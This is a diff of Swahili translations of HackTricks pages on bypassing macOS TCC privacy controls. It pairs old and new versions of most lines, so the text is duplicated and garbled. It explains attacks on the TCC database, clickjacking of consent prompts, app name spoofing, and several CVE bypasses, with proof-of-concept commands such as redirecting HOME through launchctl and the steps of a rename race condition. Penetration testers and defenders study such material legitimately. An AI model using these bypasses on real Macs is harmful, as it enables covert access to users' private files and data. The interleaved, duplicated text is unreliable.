### TCC DB ya Mtumiaji hadi FDA
### DB ya TCC ya Mtumiaji hadi FDA
Kupata **ruhusa za kuandika** juu ya **database ya TCC ya mtumiaji** huwezi kujipa mwenyewe ruhusa za **`FDA`**, tu yule anayeishi katika database ya mfumo anaweza kutoa hiyo.
Kupata **ruhusa za kuandika** kwenye **database ya mtumiaji wa TCC** huwezi kujipa **ruhusa za `FDA`**, tu yule anayeishi kwenye database ya mfumo anaweza kutoa hiyo.
Lakini unaweza **kujipa mwenyewe haki za Uendeshaji kwa Finder**, na kutumia mbinu iliyotangulia kuongeza hadi FDA\*.
Lakini unaweza kujipa **`Haki za Utoaji wa Finder`**, na kutumia mbinu iliyopita kufikia FDA\*.
### **FDA hadi ruhusa za TCC**
**Ufikivu Kamili wa Diski** jina la TCC ni **`kTCCServiceSystemPolicyAllFiles`**
**Upatikanaji Kamili wa Diski** jina la TCC ni **`kTCCServiceSystemPolicyAllFiles`**
Sifikiri hii ni privesc halisi, lakini kwa usalama, ikiwa una udhibiti wa programu na FDA unaweza **kubadilisha database ya TCC ya watumiaji na kujipa upatikanaji wowote**. Hii inaweza kuwa na manufaa kama mbinu ya kudumu ikiwa unaweza kupoteza ruhusa zako za FDA.
Sioni hii kama privesc halisi, lakini kwa tahadhari: Ikiwa unadhibiti programu na FDA unaweza **kurekebisha database ya TCC ya watumiaji na kujipa ufikivu wowote**. Hii inaweza kuwa muhimu kama mbinu ya uthabiti ikiwa unaweza kupoteza ruhusa zako za FDA.
### Kupita kwa SIP hadi Kupita kwa TCC
### **Kupuuza SIP hadi Kupuuza TCC**
**Database ya TCC ya mfumo** inalindwa na **SIP**, ndio sababu mchakato na **haki zilizoonyeshwa pekee ndizo zitakazoweza kubadilisha**. Kwa hivyo, ikiwa mshambuliaji anapata **kupita kwa SIP** juu ya **faili** (kuweza kubadilisha faili iliyozuiwa na SIP), ataweza:
Database ya mfumo ya **TCC** inalindwa na **SIP**, ndio sababu mchakato tu wenye **haki zilizotajwa zitaruhusiwa kurekebisha**. Kwa hivyo, ikiwa mshambuliaji anapata **kupuuza SIP** juu ya **faili** (kuweza kurekebisha faili iliyozuiwa na SIP), ataweza:
* **Ondoa ulinzi** wa database ya TCC, na kujipa ruhusa zote za TCC. Anaweza kutumia faili yoyote kwa mfano:
* Database ya TCC ya mifumo
* Database za mifumo ya TCC
* REG.db
* MDMOverrides.plist
Hata hivyo, kuna chaguo lingine la kutumia **kupita kwa SIP ili kuepuka TCC**, faili `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` ni orodha ya programu zinazohitaji ubaguzi wa TCC. Kwa hivyo, ikiwa mshambuliaji anaweza **kuondoa ulinzi wa SIP** kutoka kwenye faili hii na kuongeza **programu yake mwenyewe**, programu hiyo itaweza kuepuka TCC.\
Kwa mfano, kuongeza terminal:
Hata hivyo, kuna chaguo lingine la kutumia **kupuuza SIP hii kupuuza TCC**, faili `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` ni orodha ya programu zinazohitaji kibali cha TCC. Kwa hivyo, ikiwa mshambuliaji anaweza **kuondoa ulinzi wa SIP** kutoka kwa faili hii na kuongeza **programu yake mwenyewe** programu hiyo itaweza kupuuza TCC.\
Kwa mfano kuongeza terminal:
```bash
# Get needed info
codesign -d -r- /System/Applications/Utilities/Terminal.app
```
AllowApplicationsList.plist:
Faili hili linaweka orodha ya programu ambazo zinaruhusiwa kupata data ya kibinafsi kwenye macOS. Inatumika kudhibiti ufikiaji wa programu kwa data ya mtumiaji kama picha, mikrofoni, na eneo. Unaweza kuongeza au kuondoa programu kutoka kwenye orodha hii ili kudhibiti ni programu zipi zinaruhusiwa kupata data ya kibinafsi kwenye mfumo wako wa macOS.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -578,7 +575,7 @@ Faili hili linaweka orodha ya programu ambazo zinaruhusiwa kupata data ya kibina
</dict>
</plist>
```
### Kuepuka TCC
### Kupuuza TCC
{% content-ref url="macos-tcc-bypasses/" %}
[macos-tcc-bypasses](macos-tcc-bypasses/)
@ -593,14 +590,14 @@ Faili hili linaweka orodha ya programu ambazo zinaruhusiwa kupata data ya kibina
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kuvunja AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -1,16 +1,16 @@
# Kupita kwa TCC ya macOS
# Kupita kwa macOS TCC
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
@ -18,7 +18,7 @@ Njia nyingine za kusaidia HackTricks:
### Kupita kwa Kuandika
Hii sio njia ya kupita, ni jinsi TCC inavyofanya kazi: **Haitoi ulinzi dhidi ya kuandika**. Ikiwa Terminal **haina ruhusa ya kusoma Desktop ya mtumiaji, bado inaweza kuandika ndani yake**:
Hii sio njia ya kupita, ni jinsi TCC inavyofanya kazi: **Haitoi ulinzi dhidi ya kuandika**. Ikiwa Terminal **haina ufikiaji wa kusoma Daki ya mtumiaji bado inaweza kuandika ndani yake**:
```shell-session
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
@ -28,53 +28,71 @@ ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd
```
**Atributi ya ziada `com.apple.macl`** inaongezwa kwenye **faili mpya** ili kumpa **programu ya muundaji** upatikanaji wa kuisoma.
**Mkusanyiko wa muda mrefu `com.apple.macl`** huongezwa kwa **faili mpya** ili kumpa **app ya waundaji** upatikanaji wa kuisoma.
### Kupitisha SSH
### TCC ClickJacking
Kwa chaguo-msingi, upatikanaji kupitia **SSH ulikuwa na "Upatikanaji Kamili wa Diski"**. Ili kuzima hii, unahitaji kuwa na hiyo iliyoorodheshwa lakini imezimwa (kuiondoa kutoka kwenye orodha haitaondoa haki hizo):
Inawezekana kuweka **dirisha juu ya dirisha la TCC** ili kufanya mtumiaji **kukubali** bila kugundua. Unaweza kupata PoC katika [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
### Ombi la TCC kwa jina la kubahatisha
Mshambuliaji anaweza **kuunda programu zenye jina lolote** (k.m. Finder, Google Chrome...) katika **`Info.plist`** na kufanya iombe upatikanaji wa eneo fulani lililolindwa na TCC. Mtumiaji atadhani kuwa programu halali ndiyo inayoomba upatikanaji huu. Zaidi ya hayo, inawezekana **kuondoa programu halali kutoka Dock na kuweka ile bandia**, hivyo mtumiaji akibofya ile bandia (ambayo inaweza kutumia alama ile ile) inaweza kuita ile halali, kuomba ruhusa za TCC na kutekeleza zisizo, hivyo kumfanya mtumiaji aamini kuwa programu halali ndiyo iliyoomba upatikanaji.
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
Maelezo zaidi na PoC katika:
{% content-ref url="../../../macos-privilege-escalation.md" %}
[macos-privilege-escalation.md](../../../macos-privilege-escalation.md)
{% endcontent-ref %}
### Kupuuza SSH
Kwa chaguo-msingi, upatikanaji kupitia **SSH ulikuwa na "Full Disk Access"**. Ili kulemaza hii unahitaji kuwa imeorodheshwa lakini imelemazwa (kuiondoa kwenye orodha haitaondoa ruhusa hizo):
![](<../../../../../.gitbook/assets/image (569).png>)
Hapa unaweza kupata mifano ya jinsi **malwares zingine zilivyoweza kuepuka ulinzi huu**:
Hapa unaweza kupata mifano ya jinsi baadhi ya **malware zimefanikiwa kupuuza ulinzi huu**:
* [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
{% hint style="danger" %}
Tafadhali kumbuka kuwa sasa, ili kuweza kuwezesha SSH unahitaji **Upatikanaji Kamili wa Diski**
Tafadhali elewa kuwa sasa, ili kuweza kuwezesha SSH unahitaji **Full Disk Access**
{% endhint %}
### Kusimamia Upanuzi - CVE-2022-26767
### Kusimamia viendelezi - CVE-2022-26767
Atributi ya **`com.apple.macl`** inatolewa kwa faili ili kumpa **programu fulani ruhusa ya kuisoma.** Atributi hii inawekwa wakati wa **kuburuta na kuacha** faili juu ya programu, au wakati mtumiaji anapofungua faili kwa **kubofya mara mbili** na kuifungua na **programu ya chaguo-msingi**.
Mkusanyiko wa muda mrefu **`com.apple.macl`** unapewa faili ili kumpa **programu fulani ruhusa ya kuisoma.** Mkusanyiko huu unawekwa wakati wa **kuburuta\&kushusha** faili juu ya programu, au wakati mtumiaji **anabofya mara mbili** faili kufungua na programu ya **msingi**.
Kwa hivyo, mtumiaji anaweza **kujiandikisha programu mbaya** kusimamia upanuzi wote na kuita Huduma za Kuzindua kufungua faili yoyote (kwa hivyo faili mbaya itapewa upatikanaji wa kuisoma).
Hivyo, mtumiaji anaweza **kujiandikisha programu yenye nia mbaya** kusimamia viendelezi vyote na kuita Huduma za Kuanzisha kufungua **faili yoyote** (hivyo faili ya nia mbaya itapewa ruhusa ya kuisoma).
### iCloud
Kwa kibali cha **`com.apple.private.icloud-account-access`**, niwezekanavyo kuwasiliana na huduma ya XPC ya **`com.apple.iCloudHelper`** ambayo itatoa **vitambulisho vya iCloud**.
Kwa ruhusa ya **`com.apple.private.icloud-account-access`** inawezekana kuwasiliana na huduma ya XPC ya **`com.apple.iCloudHelper`** ambayo itatoa **vibali vya iCloud**.
**iMovie** na **Garageband** walikuwa na kibali hiki na vingine vilivyowezesha.
**iMovie** na **Garageband** walikuwa na ruhusa hii na nyingine zilizoruhusiwa.
Kwa habari zaidi kuhusu uvumbuzi wa **kupata vitambulisho vya iCloud** kutoka kwa kibali hicho, angalia mazungumzo: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
Kwa maelezo zaidi kuhusu udanganyifu wa **kupata vibali vya iCloud** kutoka kwa ruhusa hiyo, angalia mazungumzo: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### kTCCServiceAppleEvents / Automation
### kTCCServiceAppleEvents / Uendeshaji
Programu yenye kibali cha **`kTCCServiceAppleEvents`** itaweza **kudhibiti Programu nyingine**. Hii inamaanisha kuwa inaweza kuwa na uwezo wa **kutumia vibaya ruhusa zilizotolewa kwa Programu nyingine**.
Programu yenye ruhusa ya **`kTCCServiceAppleEvents`** itaweza **kudhibiti Programu nyingine**. Hii inamaanisha inaweza **kutumia vibali vilivyotolewa kwa Programu nyingine**.
Kwa habari zaidi kuhusu Apple Scripts angalia:
Kwa maelezo zaidi kuhusu Skripti za Apple angalia:
{% content-ref url="macos-apple-scripts.md" %}
[macos-apple-scripts.md](macos-apple-scripts.md)
{% endcontent-ref %}
Kwa mfano, ikiwa Programu ina **ruhusa ya Utoaji wa Automation juu ya `iTerm`**, kwa mfano katika mfano huu **`Terminal`** ina upatikanaji juu ya iTerm:
Kwa mfano, ikiwa Programu ina **ruhusa ya Uendeshaji juu ya `iTerm`**, kama ilivyo katika mfano huu **`Terminal`** ina upatikanaji juu ya iTerm:
<figure><img src="../../../../../.gitbook/assets/image (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
#### Juu ya iTerm
Terminal, ambayo haina FDA, inaweza kuita iTerm, ambayo inayo, na kuitumia kufanya vitendo:
Terminal, ambayo haina FDA, inaweza kuita iTerm, ambayo inayo, na kuitumia kutekeleza vitendo:
{% code title="iterm.script" %}
```applescript
@ -108,10 +126,10 @@ do shell script "rm " & POSIX path of (copyFile as alias)
### CVE-20209934 - TCC <a href="#c19b" id="c19b"></a>
Mtumiaji wa **tccd daemon** anatumia **`HOME`** **env** kubadilisha kwenye hifadhidata ya watumiaji ya TCC kutoka: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
**tccd daemon** wa userland unatumia **`HOME`** **env** variable kufikia database ya watumiaji ya TCC kutoka: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
Kulingana na [chapisho hili la Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) na kwa sababu daemon ya TCC inaendeshwa kupitia `launchd` ndani ya kikoa cha mtumiaji wa sasa, ni **inawezekana kudhibiti mazingira yote** yanayopitishwa kwake.\
Hivyo, **mshambuliaji anaweza kuweka `$HOME` mazingira** kwenye **`launchctl`** ili ielekeze kwenye **folda iliyodhibitiwa**, **kuanzisha tena** daemon ya **TCC**, na kisha **kubadilisha moja kwa moja hifadhidata ya TCC** ili kujipatia **kila haki ya TCC inayopatikana** bila kuuliza mtumiaji mwisho.\
Kulingana na [chapisho hili la Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) na kwa sababu tccd daemon inaendeshwa kupitia `launchd` ndani ya uwanja wa mtumiaji wa sasa, ni **inawezekana kudhibiti mazingira yote** yanayopitishwa kwake.\
Hivyo, **mshambuliaji anaweza kuweka `$HOME` mazingira** variable katika **`launchctl`** ili kuelekeza kwa **directory iliyodhibitiwa**, **kuanzisha upya** tccd daemon, na kisha **kurekebisha moja kwa moja database ya TCC** ili kujipa **kila ruhusa ya TCC inayopatikana** bila kuuliza mtumiaji mwisho.\
PoC:
```bash
# reset database just in case (no cheating!)
@ -141,88 +159,90 @@ $> ls ~/Documents
```
### CVE-2021-30761 - Maelezo
Maelezo yalikuwa na ufikiaji wa maeneo yaliyolindwa na TCC lakini wakati maelezo yanapotengenezwa, yanatengenezwa katika eneo lisilolindwa. Kwa hivyo, unaweza kuomba maelezo kuiga faili iliyolindwa katika maelezo (kwa hivyo katika eneo lisilolindwa) na kisha kupata faili hiyo:
Maelezo yalikuwa na ufikiaji wa maeneo yaliyolindwa na TCC lakini wakati maelezo yanapotengenezwa hii **hutengenezwa katika eneo lisilolindwa**. Kwa hivyo, ungeweza kuomba maelezo kuiga faili iliyolindwa katika maelezo (hivyo katika eneo lisilolindwa) na kisha kupata ufikiaji wa faili:
<figure><img src="../../../../../.gitbook/assets/image (6) (1) (3).png" alt=""><figcaption></figcaption></figure>
### CVE-2021-30782 - Uhamishaji
Binary `/usr/libexec/lsd` na maktaba `libsecurity_translocate` ilikuwa na ruhusa ya `com.apple.private.nullfs_allow` ambayo iliruhusu kuunda mlima wa **nullfs** na ilikuwa na ruhusa ya `com.apple.private.tcc.allow` na **`kTCCServiceSystemPolicyAllFiles`** ili kupata faili zote.
Binary `/usr/libexec/lsd` pamoja na maktaba `libsecurity_translocate` ilikuwa na ruhusa ya `com.apple.private.nullfs_allow` ambayo iliruhusu kuunda **nullfs** mount na ilikuwa na ruhusa ya `com.apple.private.tcc.allow` na **`kTCCServiceSystemPolicyAllFiles`** kufikia kila faili.
Ilikuwa inawezekana kuongeza sifa ya karantini kwa "Library", kuita huduma ya XPC ya **`com.apple.security.translocation`** na kisha itaunganisha Library na **`$TMPDIR/AppTranslocation/d/d/Library`** ambapo nyaraka zote ndani ya Library zinaweza **kupatikana**.
Ilikuwa inawezekana kuongeza sifa ya karantini kwa "Library", kuita huduma ya XPC ya **`com.apple.security.translocation`** na kisha itaunganisha Library na **`$TMPDIR/AppTranslocation/d/d/Library`** ambapo nyaraka zote ndani ya Library zingeweza **kufikiwa**.
### CVE-2023-38571 - Muziki na TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
### CVE-2023-38571 - Muziki & TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
**`Muziki`** ina kipengele kizuri: Wakati inafanya kazi, ita **ingiza** faili zilizodondoshwa kwenye **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** kwenye "maktaba ya media" ya mtumiaji. Zaidi ya hayo, inaita kitu kama: **`rename(a, b);`** ambapo `a` na `b` ni:
**`Muziki`** ina kipengele kizuri: Wakati inaendeshwa, ita **ingiza** faili zilizoporwa kwa **`~/Muziki/Muziki/Media.localized/Automatically Add to Music.localized`** kwenye "maktaba ya media" ya mtumiaji. Zaidi ya hayo, inaita kitu kama: **`rename(a, b);`** ambapo `a` na `b` ni:
* `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
* `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
* `a = "~/Muziki/Muziki/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
* `b = "~/Muziki/Muziki/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
Tabia hii ya **`rename(a, b);`** ni hatari kwa **Mzunguko wa Mashindano**, kwani inawezekana kuweka faili bandia ya **TCC.db** ndani ya folda ya `Automatically Add to Music.localized` na kisha wakati folda mpya (b) inapoundwa ili kuiga faili, ifuta faili hiyo, na ielekeze kwenye **`~/Library/Application Support/com.apple.TCC`**/.
Hii **`rename(a, b);`** inayotenda ni dhaifu kwa **Hali ya Mashindano**, kwani inawezekana kuweka faili bandia ya **TCC.db** ndani ya folda ya `Automatically Add to Music.localized` na kisha wakati folda mpya (b) inapotengenezwa kuchukua faili, ifute, na ielekeze kwenye **`~/Library/Application Support/com.apple.TCC`**/.
### SQLITE\_SQLLOG\_DIR - CVE-2023-32422
Ikiwa **`SQLITE_SQLLOG_DIR="njia/folder"`** inamaanisha kwamba **db yoyote iliyofunguliwa inakopiwa kwenye njia hiyo**. Katika CVE hii, udhibiti huu ulitumiwa vibaya kuandika ndani ya **database ya SQLite** ambayo itafunguliwa na mchakato na FDA ya database ya TCC, na kisha kutumia **`SQLITE_SQLLOG_DIR`** na symlink kwenye jina la faili ili wakati database hiyo inapofunguliwa, faili ya mtumiaji **TCC.db inaandikwa juu** ya ile iliyofunguliwa.\
Ikiwa **`SQLITE_SQLLOG_DIR="njia/folder"`** inamaanisha kwamba **db yoyote iliyofunguliwa inakopiwa kwenye njia hiyo**. Katika CVE hii, udhibiti huu ulitumika vibaya kwa **kuandika** ndani ya **SQLite database** ambayo itafunguliwa na mchakato wenye FDA ya database ya TCC, na kisha kutumia **`SQLITE_SQLLOG_DIR`** na **symlink katika jina la faili** hivyo wakati hiyo database inapofunguliwa, **TCC.db ya mtumiaji inaandikwa upya** na ile iliyofunguliwa.\
**Maelezo zaidi** [**katika andiko**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **na** [**katika mazungumzo**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s).
### **SQLITE\_AUTO\_TRACE**
Ikiwa mazingira ya **`SQLITE_AUTO_TRACE`** yameset, maktaba ya **`libsqlite3.dylib`** itaanza **kurekodi** maswali yote ya SQL. Programu nyingi za Apple zilitumia maktaba hii kuwa na ufikiaji wa habari zilizolindwa na TCC.
Ikiwa mazingira ya kimazingira **`SQLITE_AUTO_TRACE`** yameset, maktaba **`libsqlite3.dylib`** itaanza **kurekodi** maombi yote ya SQL. Programu nyingi za Apple zilitumia maktaba hii, hivyo ilikuwa inawezekana kurekodi maombi yote yao ya SQLite.
Programu kadhaa za Apple zilitumia maktaba hii kufikia habari zilizolindwa na TCC.
```bash
# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1
```
### MTL\_DUMP\_PIPELINES\_TO\_JSON\_FILE - CVE-2023-32407
### MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407
**Hii variable ya mazingira inatumika na mfumo wa `Metal`** ambao ni tegemezi kwa programu mbalimbali, hasa `Music`, ambayo ina FDA.
Hii **variable ya mazingira hutumiwa na mfumo wa `Metal`** ambao ni tegemezi kwa programu mbalimbali, hasa `Music`, ambayo ina FDA.
Kwa kuweka yafuatayo: `MTL_DUMP_PIPELINES_TO_JSON_FILE="njia/jina"`. Ikiwa `njia` ni saraka halali, kosa litasababishwa na tunaweza kutumia `fs_usage` kuona kinachoendelea katika programu:
Kuweka yafuatayo: `MTL_DUMP_PIPELINES_TO_JSON_FILE="njia/jina"`. Ikiwa `njia` ni saraka halali, kosa litazinduliwa na tunaweza kutumia `fs_usage` kuona kinachoendelea katika programu:
* faili itafunguliwa (`open()`), itaitwa `njia/.dat.nosyncXXXX.XXXXXX` (X ni nambari za nasibu)
* faili itafunguliwa kwa `open()`, itaitwa `njia/.dat.nosyncXXXX.XXXXXX` (X ni nambari za nasibu)
* moja au zaidi ya `write()` itaandika maudhui kwenye faili (hatudhibiti hii)
* `njia/.dat.nosyncXXXX.XXXXXX` itabadilishwa jina (`rename()`) kuwa `njia/jina`
* `njia/.dat.nosyncXXXX.XXXXXX` itabadilishwa jina kwa `rename()` kuwa `njia/jina`
Hii ni kuandika faili ya muda mfupi, ikifuatiwa na **`rename(old, new)`** **ambayo sio salama**.
Ni andishi la faili la muda, ikifuatiwa na **`rename(old, new)`** **ambayo si salama.**
Sio salama kwa sababu inahitaji **kutatua njia za zamani na mpya kwa tofauti**, ambayo inaweza kuchukua muda na inaweza kuwa na hatari ya Mashindano ya Hali. Kwa maelezo zaidi unaweza kuangalia kazi ya `xnu` inayoitwa `renameat_internal()`.
Si salama kwa sababu inahitaji **kutatua njia za zamani na mpya kwa kujitegemea**, ambayo inaweza kuchukua muda na kuwa hatarini kwa Mashindano ya Hali. Kwa maelezo zaidi unaweza kuchunguza kazi ya `xnu` `renameat_internal()`.
{% hint style="danger" %}
Kwa hiyo, kimsingi, ikiwa mchakato wenye mamlaka anabadilisha jina kutoka kwenye saraka unayodhibiti, unaweza kushinda RCE na kufanya iweze kufikia faili tofauti au, kama katika CVE hii, kufungua faili ambayo programu yenye mamlaka imeunda na kuhifadhi FD.
Kwa hiyo, kimsingi, ikiwa mchakato uliopewa mamlaka unabadilisha jina kutoka kwenye folda unayoidhibiti, unaweza kushinda RCE na kufanya iweze kufikia faili tofauti au, kama katika CVE hii, kufungua faili ambayo programu iliyopewa mamlaka imeunda na kuhifadhi FD.
Ikiwa jina la kubadilisha linapata saraka unayodhibiti, wakati umebadilisha faili ya chanzo au una FD kwake, unabadilisha faili ya marudio (au saraka) ili iweze kuonyesha kiungo cha ishara, ili uweze kuandika wakati wowote unapotaka.
Ikiwa kubadilisha jina kunafikia folda unayoidhibiti, wakati umebadilisha faili ya chanzo au una FD kwake, unaweza kubadilisha faili ya marudio (au folda) kuashiria kiungo, ili uweze kuandika wakati wowote unavyotaka.
{% endhint %}
Hii ilikuwa shambulio katika CVE: Kwa mfano, ili kubadilisha `TCC.db` ya mtumiaji, tunaweza:
Hii ilikuwa shambulio katika CVE: Kwa mfano, kubadilisha `TCC.db` ya mtumiaji, tunaweza:
* kuunda `/Users/hacker/ourlink` ili ionyeshe kwa `/Users/hacker/Library/Application Support/com.apple.TCC/`
* kuunda `/Users/hacker/kiunganishi chetu` ili kuashiria `/Users/hacker/Library/Application Support/com.apple.TCC/`
* kuunda saraka `/Users/hacker/tmp/`
* kuweka `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`
* kusababisha kosa kwa kukimbia `Music` na hii env var
* kuchukua `open()` ya `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X ni nambari za nasibu)
* hapa pia tunafungua (`open()`) faili hii kwa kuandika, na kushikilia file descriptor
* kubadilisha kwa atomiki `/Users/hacker/tmp` na `/Users/hacker/ourlink` **katika mzunguko**
* tunafanya hivi ili kuongeza nafasi zetu za kufanikiwa kwani dirisha la mashindano ni dogo sana, lakini kupoteza mashindano hakuna madhara yoyote
* kuzindua kosa kwa kukimbia `Music` na hii variable ya mazingira
* kufuatilia `open()` ya `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X ni nambari za nasibu)
* hapa pia tunafungua faili hii kwa kuandika, na kushikilia nambari ya faili
* kubadilisha `/Users/hacker/tmp` na `/Users/hacker/kiunganishi chetu` **kwa mzunguko**
* tunafanya hivi ili kuongeza nafasi zetu za kufanikiwa kwani dirisha la mashindano ni dogo sana, lakini kupoteza mashindano hakuna hasara kubwa
* subiri kidogo
* jaribu kama tumepata bahati
* ikiwa sivyo, endesha tena kutoka mwanzo
* jaribu kuona ikiwa tulifanikiwa
* ikiwa la, endesha tena kutoka mwanzo
Maelezo zaidi katika [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)
Maelezo zaidi kwenye [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)
{% hint style="danger" %}
